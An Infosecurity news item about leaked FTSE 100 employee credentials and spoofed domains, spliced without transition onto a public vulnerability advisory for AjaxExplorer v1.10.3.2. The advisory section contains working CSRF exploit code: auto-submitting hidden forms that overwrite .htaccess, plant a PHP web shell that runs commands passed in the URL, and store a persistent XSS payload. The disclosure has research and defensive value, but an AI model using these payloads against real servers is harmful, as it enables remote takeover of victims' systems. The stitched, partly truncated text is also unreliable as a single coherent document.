FTSE 100 employees are putting their firms at risk by re-using corporate credentials on third party sites, with over 5,000 email and password combinations already compromised, according to Anomali.
The threat intelligence firm tracked the darknet over the past three months to compile its latest report, The FTSE 100: Targeted Brand Attacks and Mass Credential Exposures.
It found 5,275 compromised email and unencrypted password accounts in total, on hacking forums, paste sites and similar – that’s an average of 50 employees at each FTSE 100 firm that have unwittingly exposed their details to cybercriminals.
The credentials were stolen from non-work-related sites in classic data breach incidents. For example, over 40 email/password combinations across 23 companies were compromised in April when a popular UK football site had its database dumped on the darknet, Anomali said.
With this information, black hats could log-in to corporate networks and access, steal and/or tamper with highly sensitive information.
Oil and gas companies accounted for 20% of compromised credentials, which raises the uncomfortable prospect of cybercriminals potentially opening up channels to access SCADA systems.
Jonathan Martin, EMEA operations director at Anomali, argued that many of these firms still aren’t set up to implement two-factor authentication on all enterprise apps – exposing them to this kind of risk.
“Rather, we need to have much greater education of employees on all security matters but particularly around using work emails on non-work related sites,” he told Infosecurity.
“Often, it’s simply a case of people simply not understanding or thinking through the implications of how a compromised work email could be used to launch a range of attacks against both the individual employee as well as others in the organization.”
The report also warned that FTSE 100 firms are at risk from a growing problem of domain spoofing.
Over the past three months, 81 such companies had potentially malicious domain registrations against them, Anomali found.
The majority were registered with Chinese addresses, followed by the US and Panama.
Such domains are used in email-borne phishing attacks, where customers are typically tricked into divulging their personal details because they think they’re interacting with a legitimate firm.
Financial services was the worst hit vertical with 376 suspicious domains found, followed by retail (175) and critical infrastructure (75).
from Infosecurity - Latest New... http://ift.tt/1P4lraC
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://ift.tt/1P3TiQJ
TION.txt
[+] ISR: apparitionsec
Vendor:
==========
sourceforge.net
smsid
download linx:
http://ift.tt/1WwcIFH
Product:
=======================
AjaxExplorer v1.10.3.2
Manage server files through simple windows like interface.
Vulnerability Type:
=======================
Remote Command Execution
CSRF
Persistent XSS
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
AjaxExplorer has command terminal feature where you can move, copy, delete files etc... also lets a user save commands in a
flat file named "terminal" under their user profile "/http://ift.tt/1O4p99b".
e.g.
copy [FILEPATH + FILENAME] [FILEPATH]
create [FILEPATH + FILENAME]
Since AjaxExplorer also suffers from CSRF vulnerability we can exploit the application by first creating an .htaccess file with an
"allow from all" directive to bypass access restrictions, next create arbitrary PHP files for remote command execution purposes.
This exploit will require two consecutive HTTP requests, so we need to target an iframe to stay on same page until exploit is completed.
Exploit code(s):
===============
1) first POST request creates .htaccess file so we can bypass directory browsing restrictions.
2) second POST writes our remote command execution file we will then access to execute commands on the victim system.
The below P:/ for "strPath" form value is for "Profile"
<iframe name="PWNED" style="display:none" name="hidden-form"></iframe>
<form target="PWNED" id="htaccess" action="http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php"
method="post">
<input type="hidden" name="strPage" value="control/file/editor" >
<input type="hidden" name="strPath" value="P:/" >
<input type="hidden" name="strFile" value=".htaccess" >
<input type="hidden" name="strText" value='allow from all' >
<script>document.getElementById('htaccess').submit()</script>
</form>
<form target="PWNED" id="RCE" action="http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php"
method="post">
<input type="hidden" name="strPage" value="control/file/editor" >
<input type="hidden" name="strPath" value="P:/" >
<input type="hidden" name="strFile" value="terminal.php" >
<input type="hidden" name="strText" value='<?php exec($_GET["cmd"]);?>' >
<script>document.getElementById('RCE').submit()</script>
</form>
Now we can access and run arbitrary cmds.
http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/ae.user/owner/mypr
ofile/terminal.php?cmd=c:\\Windows\\system32\\calc.exe
/////////////////////////////////////////////////////
Here is another way to RCE this application... first create PHP file then edit.
<iframe name="DOOM" style="display:none" name="hidden-form"></iframe>
<form target="DOOM" id="CSRF2" method="post" action="http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php"
>
<input type="hidden" name="strPage" value="control/file/editor" />
<input type="hidden" name="strPath" value="D:/" />
<input type="hidden" name="strFile" value="PWNED.php" />
<input type="hidden" name="strText" value="<?php%20exec($_GET['cmd']);%20?>" />
</form>
<form target="DOOM" id="CSRF1" method="post" action="http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php"
>
<input type="hidden" name="strPage" value="control/file/create" />
<input type="hidden" name="strPath" value="D:/" />
<input type="hidden" name="strFile" value="D:/PWNED.php" />
<script>
document.getElementById('CSRF1').submit()
document.getElementById('CSRF2').submit()
</script>
</form>
////////////////////////
Persistent XSS:
================
We can also write persistent XSS payload to the user profile "terminal" file.
<form id="XSS" method="post" action="http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php"
>
<input type="hidden" name="strPage" value="control/file/editor" />
<input type="hidden" name="strPath" value="P:/" />
<input type="hidden" name="strFile" value="terminal" />
<input type="hidden" name="strText" value="<script>alert(666)</script>" />
<script>document.getElementById('XSS').submit()</script>
</form>
Disclosure Timeline:
===============================
Vendor Notification: NA
June 1, 2016 : Public Disclosure
Exploitation Technique:
=======================
Remote
Severity Level:
================
8.0 (High)
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.
hyp3rlinx
[ reply ]